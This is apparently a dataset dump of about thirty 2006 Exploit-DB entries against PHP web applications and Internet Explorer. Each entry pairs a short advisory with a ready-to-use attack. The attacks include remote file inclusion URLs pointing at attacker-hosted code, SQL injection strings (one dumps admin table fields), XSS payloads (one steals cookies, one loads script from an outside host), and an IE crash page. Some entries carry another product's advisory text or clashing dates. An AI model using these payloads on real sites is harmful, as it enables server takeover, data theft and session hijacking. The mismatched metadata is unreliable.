QLWD/code_shield huggingface dataset:
标题: Plume CMS 1.0.4 - 'index.php?_PX_config[manager_path]' Remote File Inclusion EDB-ID: 28147 CVE: 2006-3562 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info

Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/(path)/index.php?_PX_config[manager_path]=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28147
标题: free QBoard 1.1 - 'delete.php?qb_path' Remote File Inclusion EDB-ID: 28153 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
     
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
     
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
     
www.example.com/(path)/delete.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28153
标题: free QBoard 1.1 - 'index.php?qb_path' Remote File Inclusion EDB-ID: 28150 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18788/info

The free QBoard script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and gain access to the underlying system.

www.example.com/(path)/index.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28150
标题: SiteBuilder-FX - 'top.php' Remote File Inclusion EDB-ID: 28141 CVE: 2006-3395 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/18756/info

SiteBuilder-FX is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/sitebuilder/admin/top.php?admindir=[evil_script] http://www.example.com/introbuilder/admin/top.php?admindir=[evil_script] URL: https://www.exploit-db.com/exploits/28141
标题: free QBoard 1.1 - 'about.php?qb_path' Remote File Inclusion EDB-ID: 28151 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
   
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
   
www.example.com/(path)/about.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28151
标题: Plume CMS 1.0.4 - 'rss.php?_PX_config[manager_path]' Remote File Inclusion EDB-ID: 28148 CVE: 2006-3562 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
 
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
http://www.example.com/(path)/rss.php?_PX_config[manager_path]=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28148
标题: Diesel Joke Site - 'Category.php' SQL Injection EDB-ID: 28142 CVE: 2006-3763 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/18760/info

Diesel Joke Site is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path to joke script/category.php?id=-99%20union%20select%20name,name,name,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid,aid%20from%20admin/* URL: https://www.exploit-db.com/exploits/28142
标题: Plume CMS 1.0.4 - 'search.php?_PX_config[manager_path]' Remote File Inclusion EDB-ID: 28149 CVE: 2006-3562 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
  
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
http://www.example.com/(path)/search.php?_PX_config[manager_path]=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28149
标题: SoftBiz Banner Exchange Script 1.0 - 'index.php?PHPSESSID' Cross-Site Scripting EDB-ID: 28140 CVE: 2006-3607 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18735/info
   
Softbiz Banner Exchange is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET http://www.example.com:80/index.php HTTP/1.0
Accept: */*
Host: www.example.com 
Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> URL: https://www.exploit-db.com/exploits/28140
标题: Vincent Leclercq News 5.2 - Cross-Site Scripting EDB-ID: 28146 CVE: 2006-3385 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18775/info

Vincent Leclercq News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/divers.php?action=commentaires&commentaires=&id=1&disabled=%3C/textarea%3E%3Cscript%3Ealert(8)%3C/script%3E http://[...]/divers.php?action=envoyer&id=1%22%3Cscript%3Ealert(9)%3C/script%3E URL: https://www.exploit-db.com/exploits/28146
标题: Microsoft Internet Explorer 6 - ADODB.Recordset Filter Property Denial of Service EDB-ID: 28145 CVE: 2006-3354 类型: DOS 平台: WINDOWS 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18773/info

Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object. 

A successful attack may cause the browser to fail due to a null-pointer dereference.

# Microsoft Internet Explorer ADODB.Recordset Filter Property poc

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
 a = new ActiveXObject('ADODB.Recordset');
 try { a.Filter = "AAAA" } catch(e) { }
 try { a.Filter = "BBBB" } catch(e) { }
 try { a.Filter = 0x7ffffffe; } catch(e) { }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script> URL: https://www.exploit-db.com/exploits/28145
标题: SoftBiz Banner Exchange Script 1.0 - 'lostpassword.php?PHPSESSID' Cross-Site Scripting EDB-ID: 28138 CVE: 2006-3607 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18735/info
 
Softbiz Banner Exchange is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET http://www.example.com:80/lostpassword.php HTTP/1.0
Accept: */*
Host: www.example.com 
Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> URL: https://www.exploit-db.com/exploits/28138
标题: SoftBiz Banner Exchange Script 1.0 - 'gen_confirm_mem.php?PHPSESSID' Cross-Site Scripting EDB-ID: 28139 CVE: 2006-3607 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18735/info
  
Softbiz Banner Exchange is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET http://www.example.com:80/gen_confirm_mem.php HTTP/1.0
Accept: */*
Host: www.example.com 
Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> URL: https://www.exploit-db.com/exploits/28139
标题: SoftBiz Banner Exchange Script 1.0 - 'insertmember.php?city' Cross-Site Scripting EDB-ID: 28137 CVE: 2006-3607 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18735/info

Softbiz Banner Exchange is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

POST http://www.example.com:80/insertmember.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
Content-Length: 152
uname=1&add=1&city="><script>alert(/Ellipsis+Security+Test/)</script>&state=1&country=0&url=http%3A%2F%2F&email=1&pwd=1&pwd2=1&submit=Signup URL: https://www.exploit-db.com/exploits/28137
标题: newsPHP 2006 PRO - '/inc/rss_feed.php?category' SQL Injection EDB-ID: 28134 CVE: 2006-3359 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18726/info
  
NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/inc/rss_feed.php?category=&#039;[SQL]&amount=10 URL: https://www.exploit-db.com/exploits/28134
标题: newsPHP 2006 PRO - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28132 CVE: 2006-3358 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18726/info

NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/?words=%3Cscript%3Ealert(/Ellipsis%20Security%20Test/)%3C/script%3E&where=1
http://www.example.com/index.php?id=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?cat_id=&#039;%3E%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?cat_id=Business&tim=%22%3E%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E
http://www.example.com/index.php?tim=%22%3E%3Cscript%3Ealert(&#039;Ellipsis%20Security%20Test&#039;)%3C/script%3E
http://www.example.com/index.php?id=%3Cimg%20src=javascript:alert(%22EllipsisSecuritTest%22)%3E URL: https://www.exploit-db.com/exploits/28132
标题: newsPHP 2006 PRO - 'index.php' Multiple SQL Injections EDB-ID: 28133 CVE: 2006-3358 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18726/info
 
NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/?words=&#039;[SQL]
http://www.example.com/?words=%27[SQL]&where=1
http://www.example.com/index.php?id=&#039;[SQL]
http://www.example.com/index.php?topmenuitem=&#039;[SQL]
http://www.example.com/index.php?cat_id=&#039;[SQL]
http://www.example.com/index.php?words=&#039;[SQL]&where=1 URL: https://www.exploit-db.com/exploits/28133
标题: PHPClassifieds.Info - Multiple Input Validation Vulnerabilities EDB-ID: 28125 CVE: 2006-3329 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/18713/info

The 'phpclassifieds.info' product is prone to multiple input-validation vulnerabilities. The issues include HTML- and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/search.php?rate=[sql] URL: https://www.exploit-db.com/exploits/28125
标题: vCard PRO - 'search.php?event_id' SQL Injection EDB-ID: 28122 CVE: 2006-3474 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18699/info
   
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/search.php?event_id=[SQL] URL: https://www.exploit-db.com/exploits/28122
标题: vCard PRO - 'gbrowse.php?cat_id' SQL Injection EDB-ID: 28119 CVE: 2006-3474 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18699/info

VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/gbrowse.php?cat_id=[SQL] URL: https://www.exploit-db.com/exploits/28119
标题: Microsoft Internet Explorer 5.0.1 - OuterHTML redirection Handling Information Disclosure EDB-ID: 28118 CVE: 2006-3280 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/18682/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability because it fails to properly enforce cross-domain policies.

This issue may allow attackers to access arbitrary websites in the context of a targeted user's browser session. This may allow attackers to perform actions in web applications with the privileges of exploited users or to gain access to potentially sensitive information. This may aid attackers in further attacks.

The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006 Upload the following files to Web server, go to i.html 
------------------------- i.html ------------------------- 
<html>
body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)"> 
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object> 
</body>
</html> ------------------------- r.php ------------------------- 
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?> i.html displays content of Google Web page. URL: https://www.exploit-db.com/exploits/28118
标题: vCard PRO - 'rating.php?card_id' SQL Injection EDB-ID: 28120 CVE: 2006-3474 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18699/info
 
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/rating.php?card_id=[SQL] URL: https://www.exploit-db.com/exploits/28120
标题: MF Piadas 1.0 - 'admin.php' Remote File Inclusion EDB-ID: 28117 CVE: 2006-3323 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/18679/info

MF Piadas is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[scriptpath]/admin/admin.php?page=[code] URL: https://www.exploit-db.com/exploits/28117
标题: MF Piadas 1.0 - 'admin.php' Cross-Site Scripting EDB-ID: 28115 CVE: 2006-3323 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/18676/info

MF Piadas is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[scriptpath]/admin/admin.php?page=[code] URL: https://www.exploit-db.com/exploits/28115
标题: OpenGuestbook 0.5 - 'header.php?title' Cross-Site Scripting EDB-ID: 28111 CVE: 2006-3295 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/18666/info

OpenGuestbook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/openguestbook/header.php?title=</title>[XSS] URL: https://www.exploit-db.com/exploits/28111
标题: vCard PRO - 'create.php?card_id' SQL Injection EDB-ID: 28121 CVE: 2006-3474 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18699/info
  
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/create.php?card_id=[SQL] URL: https://www.exploit-db.com/exploits/28121
标题: Usenet 0.5 - 'index.php' Cross-Site Scripting EDB-ID: 28109 CVE: 2006-3299 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/18662/info

Usenet is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?group=<script src=http://www.youfucktard.com/xss.js></script> URL: https://www.exploit-db.com/exploits/28109
标题: MVNForum Activatemember 1.0 - Cross-Site Scripting EDB-ID: 28110 CVE: 2006-3245 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/18663/info

mvnForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.0 GA; other versions may also be vulnerable.

Example http://www.example.com/activatemember?activatecode=%22%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/28110
标题: CrisoftRicette 1.0 - 'Cookbook.php' Remote File Inclusion EDB-ID: 28114 CVE: 2006-3343 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/18674/info

CrisoftRicette is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/recipe/cookbook.php?crisoftricette=http://www.example.com/evil_script URL: https://www.exploit-db.com/exploits/28114